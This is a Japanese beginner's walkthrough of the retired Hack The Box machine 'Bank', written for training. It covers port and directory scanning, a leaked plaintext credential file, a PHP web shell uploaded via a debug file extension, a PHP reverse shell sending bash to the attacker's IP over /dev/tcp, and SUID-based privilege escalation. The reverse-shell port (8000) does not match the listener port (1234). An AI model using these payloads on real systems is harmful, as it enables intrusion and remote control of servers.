初心者の為のhack the box100本ノック～その1：bank(easy)～

#初めに
こんにちは！
今回は、**ガチでセキュリティ初学者**(非情報系かつプログラミングも学校でやった程度)の自分が[**hack the box**](www.hackthebox.eu)のretired box(課金要素)に挑戦した過程を初学者の視点から**分かりやすく詳細に**、備忘録として残していこうと思います。
hack the boxに興味があるけど、難易度が高くて……という方の一助になれば幸いです。
<font color="silver">アドバイスや指摘あれば、コメント頂ければ嬉しいです！</font>

#目次
・初めに
・挑戦するマシン
・1．情報収集
・2．認証情報へのアクセス
・3．webシェルの実行
・4．権限昇格
・最後に
#挑戦するマシン
今回、hack the box(以下htb)で初めて挑戦するマシンとして選んだのはbankというマシン。
理由は単純で、walkthrough(解き方の解説)をたまたま見つけたからです。
この記事では、そのwalkthroughを参考にしながら解き方を解説していきます。
<font color ="Silver">参考にしたサイトは一番最後に纏めてあります</font>

初心者向けの解説は、折り畳みで解説しているので気になる方はどうぞ！

#1．情報収集
最終目標はuser.txtとroot.txtの取得になります。
その為に、まずは定番のポートスキャンをnmapで。
スキャン対象はhtbのサイトに示されている「10.10.10.29」です。
今回は-sCと-sVオプションを使います


```
kali@kali:~$　nmap -sC -sV 10.10.10.29
```
<details><summary>**nmapのオプションの解説**</summary>
```-sC```：```--script default```と同じ意味で、標準的なスキャンを行います。defaultカテゴリに登録されているスクリプトを全て実行してくれます。
```-sV```：対象のポートで動作しているソフトウェアやプロトコルのバージョン情報を表示してくれます。ただしポート番号を指定しないと、時間がかかるらしいです。<br>
<font color="Silver">どういうときに、どのnmapオプションを使えばいいのかはよくわかってません…
困ったらまず-sC -sVを試してみてます。
</font>
</details>
スキャンした結果、80番ポートがopenになっていることが分かりました！
![nmap_scan.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/686089/06369a65-48c2-b20c-d3a7-2c3d6cad3e77.png)

80番ポートはhttp通信に使われるポートなので、webブラウザを使ってアクセスしてみます。
すると、Apacheのデフォルトページが出てきました。
![apache_defalutpage.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/686089/a12d6e27-0c27-cacc-6c61-f3d7f16e763c.png)

隠されたディレクトリが無いか、gobusterを使って探してみますが、何も見つかりません。
ここでバーチャルホストの設定がされている可能性を検討します。そのためにはホスト名を推測しないといけません。htbのフォーラムで調べてみると[machinename.htb]というホスト名がよく使われている様です。
/etc/hostsファイルを編集して、「10.10.10.29」と「bank.htb」をバインドして、「bank.htb」にアクセスしてみます。
![HTBBank_loginpage.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/686089/c684d203-5620-d914-ae57-b693e89cfb06.png)


HTB Bankのログインページにアクセスできました！

簡単にSQLインジェクションを試しますが、ログインできません。
少し方針を変えて,パスワード無しで閲覧できるディレクトリが無いか、gobusterを使って探してみます。
wordlistは適当にdirbusterからdirectory-list-2.3-medium.txtを使ってみます。

```
kali@kali:~$ gobuster dir -u http://bank.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
```
すると、以下のディレクトリを見つけることが出来ました！
![gobuster_dir.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/686089/d9215048-81b5-f501-20b2-8c2e3bc8715c.png)


#2．認証情報へのアクセス
gobusterで見つけたディレクトリに適当にアクセスしてみると、balance-transferというディレクトリにアクセス出来ることが確認できました。
![HTBBank_balance-transfer.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/686089/c46fd3c7-cabd-0168-7708-05f2ab1ce5c2.png)

どうやら銀行口座の顧客情報が暗号化されて保存されている様です。
ファイル一覧を日時やサイズで並び替えていると明らかにサイズの小さいファイルが一つありました。
（大量にファイルがある時は仲間外れがあることがあります）
![HTBBank_account.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/686089/0897d249-9399-e84d-28e4-06508b11b9d8.png)


開いてみると、顧客のアカウント情報が平文で残っています！どうやら、一つだけ暗号化に失敗した様です。
早速、メールアドレスとパスワードを使ってログインを行います。
#3．webシェルの実行
ログインに成功するとダッシュボードが表示されます。サイトを少し探索すると「Support」のページにファイルをアップロードする機能が付いている様です。
![HTBBank_support.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/686089/b91e24de-1f8f-82bc-c977-383cd96d63ef.png)

ファイルをアップロード出来るとなるとリバースシェルを試すしかありません。
まずは、任意のコマンドを実行できるようにするphpのコードをアップロードしてみます。

```php:webshell.php
<pre><?php system($_GET["cmd"]);?></pre>
```
しかし、このままではアップロード出来ないようです。
どうにかアップロードをする方法を探していると、ページのソースコードにこんな一文がありました。

```<!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] -->```

どうやら、デバッグ用にphpファイルをhtbという拡張子でアップロードできる様です。
先ほどのphpファイルの拡張子をhtbに変えてアップロードしてみます。
アップロードに成功しました！
ブラウザ上の「Click here!」をクリックすると、phpファイルが実行され、任意のコマンドが実行できることも確認できました！

次に、リバースシェルを先ほど同様アップロードしてみます。

```php:rwebshell.php
<?php
exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.x.x/8000 0>&1'");
//IPアドレスは自分のものに変えてください
```
自分の環境で、netcatを用いて1234番ポートで待ち受け、phpファイルを実行します。

```
kali@kali:~$ nc -nvlp 1234
```
![get_user.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/686089/cd8fa25a-ee78-1fc9-10aa-9cc3ae3c4bc0.png)

シェルが取れました！
さらに、user.txtを探すために/home下のディレクトリを探していくと、user.txtを発見できました！

<details>
<summary>リバースシェルについて</summary>
webサーバなどは、外からの内への防御がしっかりしていても、内から外への通信には抜け穴があることがあります。それを利用したのがリバースシェルと呼ばれる攻撃手法で、ファイルのアップロード機能などを利用して、サーバ側から攻撃者側に通信を行わせ、シェルを外部から操作できるようにします。<br>
＜簡単なbashコマンドの解説＞
```bash -i```：対話型のシェルを開く
```>&```：stdout(標準出力),stderr(標準エラー出力)の両方を、後述のファイル名にリダイレクト
```/dev/tcp/{my.ip}/{port}```：stdout,stderrのリダイレクト先
```0>&1```：標準入力(0)を標準出力(1)にリダイレクト

</details>

#4．権限昇格
最後にroot権限の取得を目指します。
user権限からroot権限を取得する方法は幾つかありますが、今回はSUID(SetUserID)のあるファイルを利用して権限昇格を目指します。
まずは、以下のコマンドでSUIDの設定されているファイルを検索。

```
find / -perm -u=s -type f -exec ls -l {} \; 2>/dev/null
```
<details><summary>SUIDについて</summary>
SUID(Set User ID)が設定されているファイルは、ファイルの所有者の権限で実行できます。ファイルの所有者がrootならば、そのファイルを実行したユーザーはroot権限でそのファイルを実行できると言うことです。
これを利用して、root権限の奪取を狙います。<br>
＜findコマンドのオプション＞
```/```：検索対象としてすべてのディレクトリを指定
```-perm -u=s```：権限がu=sのものを検索。すなわちSUIDの設定されているファイルを検索（```-perm 4000```と同じ意味）
```-type f```：ファイルタイプとして、ディレクトリや特別なファイルではなく通常のファイル(f)を指定
```-exec ls -l {} \;```：全検索結果に対して```ls -l```を実行して詳細を表示
```2>/dev/null```：stderr(2)を/dev/nullにリダイレクト。すなわち、全てのエラーを無視するということ
（```/dev/null```：書き込まれたすべてのものを破棄する特別なファイルシステムオブジェクト）
</details>
![SUID.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/686089/4b72aa68-3111-e99d-c876-0b119cc30906.png)

検索結果のうち、見慣れない```/var/htb/bin/emergency```を見てみます。
対象のディレクトリを見ると```/var/htb```の直下にemergencyファイルがありました。これはpython scriptらしいので、中身を見てみます。
![browse_emergency.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/686089/9cb67192-3a5f-7a61-135e-6a19346aa9d0.png)

このファイルを実行すると、どうやら/var/htb/bin/emergencyをroot権限で実行するようです。肝心の/var/htb/bin/emergencyの中身は見れませんが、とりあえず実行してみると･･･root権限が取得できました！

![get_root.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/686089/cc4b7576-1a83-281b-373f-743f3eb9f335.png)


あとはroot.txtを探して、無事「Bank」攻略です！


#最後に
初めて取り組むマシンとしては丁度いい難易度だった様に思います。
metasploitを使って解いてる方が多そうなので、似たような問題があれば次はmetasploitを使って解いてみたいです。

ここまで、読んでいただきありがとうございました。次回は難易度の近そうなblueに挑戦する予定です。それではまた！


<font color="silver">内容的には世界一わかりやすいbankのwalkthroughが書けた！って位満足なんですけど、1週間くらいかけてしまったので次はもう少し効率よく書ければいいなぁ…</font>

参考にさせて頂いたサイト：
1)忘れるために記す『Hack The Box – Bank – Walkthrough』(https://tech.akat.info/?p=3693)
2)NECセキュリティブログ『トレーニングコンテンツ：「Hack The Box」を触り始めてみた』(https://jpn.nec.com/cybersecurity/blog/200619/index.html)
3)好奇心の足跡『Reverse Shell (リバースシェル) 入門 & 実践』(https://kusuwada.hatenablog.com/entry/2019/10/30/044325)
4)Hacking Articles『Linux Privilege Escalation using SUID Binaries』(https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/)
5)Qiita@yukitsukai47『Hack The Box[Bank] -Writeup-』(https://qiita.com/yukitsukai47/items/12b7f068d2aee2473309)
6)Matt Johnson『HackTheBox:Bank Walkthrough』(https://medium.com/@johnsonmatt/hackthebox-bank-walkthrough-8b637ec6a0df)